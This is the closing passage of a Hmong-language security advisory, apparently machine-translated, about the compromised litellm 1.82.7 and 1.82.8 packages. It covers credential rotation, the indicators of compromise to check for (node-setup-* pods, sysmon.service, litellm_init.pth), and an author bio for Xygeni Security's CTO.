Qhov kev sib haum xeeb litellm qhia meej txog qhov kev pheej hmoo loj hlob rau AI infrastructure. Raws li LLM proxy gateways dhau los ua standard qauv rau enterprise Thaum lawv siv AI, lawv yuav tsum nkag mus rau API keys, cloud credentials, thiab cov ntaub ntawv rhiab heev hauv ib qho component xwb. Kev ua kom qhov component ntawd tsis muaj txiaj ntsig yog ib qho tseem ceeb rau tag nrho AI stack.
Cov koom haum uas tau teeb tsa litellm 1.82.7 lossis 1.82.8 thaum lub sijhawm 5.5 teev yuav tsum kho qhov no ua qhov kev lees paub tag nrho: tig txhua qhov zais cia ntawm cov kab ke cuam tshuam, tshuaj xyuas Kubernetes clusters rau node-setup-* cov noob hauv kube-system, tshem tawm ib qho twg sysmon.service cov chav systemd, thiab xyuas seb litellm_init.pth hauv Python site-packages/ cov npe. Cov neeg siv ntawm daim duab Docker raug cai (ghcr.io/berriai/litellm) tsis raug cuam tshuam, vim tias daim duab tau pinned nws cov dependencies thiab tsis tau rov tsim dua thaum lub sijhawm qhib.
Hais txog qhov kev sau
Co-Founder & CTO
Luis Rodriguez yog Tus Koom Tes Tsim thiab CTO ntawm Xygeni Security. Nrog 20+ xyoo hauv kev ruaj ntseg daim ntawv thov, nws tsom mus rau AppSec kev tiv thaiv thiab cov peev xwm siab heev ntawm kev tshuaj xyuas cov lej uas pab cov pab pawg txo qhov kev pheej hmoo tiag tiag.
